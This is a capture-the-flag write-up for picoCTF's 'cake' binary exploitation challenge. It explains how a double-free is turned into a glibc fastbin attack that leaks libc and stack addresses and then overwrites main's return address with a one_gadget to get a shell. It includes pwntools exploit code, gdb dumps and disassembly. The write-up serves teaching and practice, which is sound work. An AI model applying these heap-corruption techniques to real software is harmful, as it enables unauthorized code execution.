Category: Binary Exploitation
Points: 900
Description:
Now that you're a professional heap baker, can you pwn this for us? It should be a piece of cake. Connect with nc 2018shell2.picoctf.com 54086
. libc.so.6
I got a lot of core dumps during this process of trial and error, and the following made my debugging life so much easier.
-
Make sure the provided
libc
is NOT in the current directory; you will actually lose debug symbols by doing so. Just uselibc.so.6
from the system path on the shell server. -
Also, having a copy of
malloc.c
fromglibc
version 2.23 is very helpful.
Like other picoCTF binary exploit problems, compiler optimization is disabled. Given the relatively simple logic of the program, decompiling by hand isn’t too bad. You can find the source code here, of which I omitted some parts.
Upon serving the same cake twice, we find a crash due to a double-free bug. This gives us the opportunity for a fastbin
attack.
Our exploit will have something to do with the global variable shop
, the 0x20
byte memory chunks allocated by make()
, and inspect()
.
We first need to get the libc
address. After that, we can get the stack address via libc.environ
, according to this guy.
This program uses stdin
, which points to _IO_2_1_stdin_
in libc.
(gdb) x/4gx 0x6030d0
0x6030d0 <stdin@@GLIBC_2.2.5>: <b>0x00007ffff7dd18e0</b> 0x0000000000000000
0x6030e0 <shop>: 0x0000000000000000 0x0000000000000000
(gdb) x/2gx 0x00007ffff7dd18e0
0x7ffff7dd18e0 <<b>_IO_2_1_stdin_</b>>: 0x00000000fbad2088 0x0000000000000000
We have indirect control over shop + 0x00
(total sales) and shop + 0x08
(number of customers waiting).
Initially, I tried shop + 0x00
. I got the leak, but wound up having a corrupted chunk in fastbin
I lost control of. As a result, the subsequent malloc
calls resulted in a crash. Thus, we will use shop + 0x08
instead.
I used the following code to get the address of the cake
symbols and the pre-ASLR addresses of the libc
symbols.
cake = ELF(“./cake”)
shop = cake.symbols['shop']
stdin = cake.symbols['stdin']
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
file_IO_2_1_stdin_ = libc.symbols['_IO_2_1_stdin_']
file_environ = libc.symbols['environ']
file_libc_text = libc.get_section_by_name('.text').header.sh_addr
First, we prepare a fake chunk for fastbin
. The size of all of the malloc requests are hardcoded as 0x10 bytes and fall into fastbin[0]
. Hence, we must keep shop + 0x8
in the range of 0x20
-0x2f
. We're allowed up to 0x2f
because malloc
ignores the lower 4 bits when allocating from fastbin
.
For every line of input to main
, there is a 96
arbitrary commands to get 0x20
customers.
However, due to the serve()
command, we must take into account of decrementing the customer headcount.
Through some trial and error, I used 108 “T”
commands, but any other invalid cake command would work too. I didn’t use the valid “W”
command, since it called spin()
, which took up time.
conn.send("T\n" * 108)
for i in range(109):
wait_prompt()
Next, we follow the logic in fastbin_dup.c
from https://github.com/shellphish/how2heap.
c0 = make_cake(0x0, p64(0x0)) # chunk_0
c1 = make_cake(0x0, '') # chunk_1
serve(c0) # fastbin[0] -> chunk_0
serve(c1) # fastbin[0] -> chunk_1 -> chunk_0
serve(c0) # fastbin[0] -> chunk_0 -> chunk_1 -> chunk_0
chunk_1 = inspect(c0)
chunk_0 = inspect(c1)
Third, we link our fake chunk shop
into fastbin
.
c2 = make_cake(shop, p64(0x0)) # malloc return chunk_0
c3 = make_cake(0x0, '') # malloc return chunk_1
c4 = make_cake(shop, p64(0x21)) # malloc return chunk_0
As shown in the debugger, shop
is now in fastbin
. Because the debug symbols are available, we can just use C-like syntax to check fastbin
's values.
(gdb) print main_arena.fastbinsY[0]
$3 = (mfastbinptr) 0x6030e0 <shop>
Consequently, malloc
will return shop + 0x10
when we make our next cake
request.
We set its name to "stdin"
. This will place the address of "stdin"
into shop + 0x18
, which corresponds to cake
1.
c5 = make_cake(shop, p64(stdin))
_IO_2_1_stdin_ = inspect(1) # read the address from cake #1
libc_reloc_delta = _IO_2_1_stdin_ - file_IO_2_1_stdin_
libc_text = libc_reloc_delta + file_libc_text
libc_environ = libc_reloc_delta + file_environ
We set its price to shop
to create a circular singly linked list (depicted below).
shop + 0x00 -> value doesn’t matter
shop + 0x08 -> must be in the range of 0x20 ~ 0x2f
shop + 0x10 -> fd (next free chunk) points to shop!
shop + 0x18 -> use for leaking
Let’s look at what fastbin
has now. As expected, fastbin[0]
has chunk_0
’s address, so we need the 0x21
in c4 = make_cake(shop, p64(0x21))
to pass the malloc
chunk size validation for making c6
later.
(gdb) print main_arena.fastbinsY[0]
$1 = (mfastbinptr) 0x156e020
(gdb) x/2gx 0x156e020
0x156e020: 0x00000000006030e0 0x0000000000000021
(gdb) x/8gx &shop
0x6030e0 <shop>: 0x0000000000000000 0x0000000000000021
0x6030f0 <shop+16>: 0x00000000006030e0 0x00000000006030d0
0x603100 <shop+32>: 0x000000000156e020 0x000000000156e040
0x603110 <shop+48>: 0x000000000156e020 0x00000000006030f0
Let’s get the corrupted chunk_0
off of fastbin
. It is corrupted because it points to chunk_0
’s user space instead of malloc
’s chunk header (0x10
bytes ahead of the user space).
We make c6
, which succeeds thanks to the 0x21
when making c4
.
Because of the corruption, malloc
will return chunk_0 + 0x10
for making c6
, which is the header of chunk_1
. We shouldn't change chunk_1
’s header, so we use its original value of 0x21
in order for another subsequent malloc
(not mentioned here) to succeed.
c6 = make_cake(0x0, p64(0x21)) # chunk_0 + 0x10
Next, we use libc.environ
to leak the stack address. Again, we utilize the fastbin
trick to add our faked circular chunk shop
into fastbin
. shop + 0x10
has the desired value,
shop
, pointing to its own chunk header. Therefore, after this round, fastbin[0]
will return shop + 0x10
so as long as shop + 0x8
remains in the range of 0x20
-0x2f
.
Let’s take a look at the make()
function again. It first overwrites the second 8-byte block of the newly allocated memory for name
, then the first 8-byte block for price
.
Note that it doesn’t keep the address of the newly allocated memory in a register. It always reads from memory due to compiler optimization being disabled. This gives us the opportunity to overwrite the memory for holding the newly allocated address during the first 8-byte read for name
. When the program reads in the price, it will write into the location we set for the name
.
0x0000000000400c0b <+207>: mov -0x28(%rbp),%rax
0x0000000000400c0f <+211>: mov -0x14(%rbp),%edx
0x0000000000400c12 <+214>: movslq %edx,%rdx
0x0000000000400c15 <+217>: add $0x2,%rdx
0x0000000000400c19 <+221>: mov (%rax,%rdx,8),%rax
0x0000000000400c1d <+225>: add $0x8,%rax
0x0000000000400c21 <+229>: mov $0x8,%esi
0x0000000000400c26 <+234>: mov %rax,%rdi
0x0000000000400c29 <+237>: callq 0x400a99 <fgets_eat>
...
0x0000000000400c3d <+257>: mov -0x28(%rbp),%rax
0x0000000000400c41 <+261>: mov -0x14(%rbp),%edx
0x0000000000400c44 <+264>: movslq %edx,%rdx
0x0000000000400c47 <+267>: add $0x2,%rdx
0x0000000000400c4b <+271>: mov (%rax,%rdx,8),%rbx
0x0000000000400c4f <+275>: mov $0x0,%eax
0x0000000000400c54 <+280>: callq 0x400a40 <get>
0x0000000000400c59 <+285>: mov %rax,(%rbx)0x603110 <shop+48>:
For this to work, we need to make sure the new cake
is stored in slot 1 so that shop + 0x18
will point to shop + 0x10
(remember that we tricked malloc
to always return shop + 0x10
).
The second 8-byte block of shop + 0x10
is shop + 0x18
. As a result, reading in name
will overwrite slot 1 itself.
To achieve this, just set shop + 0x18
to NULL
. We can do this because malloc
always returns shop + 0x10
.
c11 = make_cake(shop, p64(0))
We set the return address of the main
function to the one_gadget
address* in libc
. Once we close the shop, we get into the shell.
c1 = make_cake(one_gadget, p64(main_return_address))
conn.send("C\n")
*I found the one_gadget
address using this handy tool! I picked 0x45216
because the main
function returns 0
, thus satisfying the stated one_gadget
constraint of rax
being null
.